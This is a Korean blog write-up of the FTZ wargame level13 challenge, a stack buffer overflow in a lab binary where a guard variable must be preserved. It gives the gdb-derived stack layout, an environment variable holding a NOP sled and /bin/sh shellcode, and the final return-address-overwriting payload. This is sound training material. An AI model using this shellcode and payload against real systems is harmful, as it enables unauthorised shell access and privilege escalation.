FTZ 13 Level
ID : level13
Passwd : have no clue
접속해서 ls 명령어로 파일과 디렉터리를 확인합니다.
cat 명령어로 hint를 열어보면 i를 0x1234567로 초기화하고 buf를 선언하고 argv[1] 값을 buf에 복사하고 i가 변조 되었으면 프로그램을 종료시키는 코드입니다. 즉 Return Address를 변조하려면 i 값을 지나가는데 변조는 시키지 말아야한다는 것입니다. 그럼 i의 위치를 알아야겠죠?
attackme 파일을 tmp로 옮기고 gdb로 디버깅 해보겠습니다.
main 함수를 디스어셈블 해보면 함수 프롤로그가 끝나고 0x418만큼의 공간을 할당해줍니다. 0x418은 10진수로 1048입니다. long i가 4byte, buf의 크기가 1024byte인 것을 고려하면 dummy는 1048-1028=20byte 이겠네요.
| buf (1024) | ? | i (4) | ? | SFP (4) | RET (4) |
main+9와 main+69가 i와 관련된 코드인 것 같습니다. ebp-12 ~ ebp-8 까지 i, ebp-8 ~ ebp-0 까지 dummy가 됩니다.
| buf (1024) | ? | i (4) | dummy (8) | SFP (4) | RET (4) |
main+54를 보면 buf는 ebp-1048 ~ ebp-24이고, ebp-24 ~ ebp-12 까지 dummy가 됩니다.
| buf (1024) | dummy (12) | i (4) | dummy (8) | SFP (4) | RET (4) |
i의 위치를 알아냈습니다. 이번에는 Buffer를 이용한 NOP Sled 말고 환경변수를 이용해서 풀어보도록 하겠습니다.
export SC=$(python –c ‘print “\x90”*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’)
많은 양의 NOP + 셸코드 로 구성된 문자열을 환경변수에 저장합니다. 환경변수는 스택의 높은 주소 쪽에 위치해 있습니다. 그래서 변동이 거의 없어 level11, level12 와 같이 공격을 많이 시도하지 않아도 정확한 payload만 있다면 더 쉽게 공략이 가능합니다.
환경변수를 만들었습니다. 이 환경변수의 주소를 구하는 코드를 짜봅시다.
tmp에 getSC.c 라는 파일을 만들었습니다.
getenv 함수는 인자로 받은 환경변수의 주소를 반환해주는 함수입니다. 반환한 주소를 %p를 이용해서 출력해주는 코드입니다.
gcc를 이용해서 컴파일 하고 실행해보면
이렇게 환경변수의 주소를 알 수 있습니다.
i의 값을 변조하지 않고 Return Address를 셸코드로 변조해봅시다.
더미(1036) + i + 더미(12 SFP까지) + 셸코드 주소
payload : ./attackme `python –c ‘print “A”*1036 + “\x67\x45\x23\x01” + “A”*12 + “\x53\xcc\xff\bf”’`
원본 파일에 박아주면 exploit 성공!
감사합니다.
'System&Write up > FTZ' 카테고리의 다른 글
FTZ level16 -> level17 Write up (0) | 2017.09.25 |
---|---|
FTZ level15 -> level16 Write up (0) | 2017.09.25 |
FTZ level14 -> level15 Write up (0) | 2017.09.25 |
FTZ level12 -> level13 Write up (0) | 2017.09.24 |
FTZ level11 -> level12 Write up (0) | 2017.09.24 |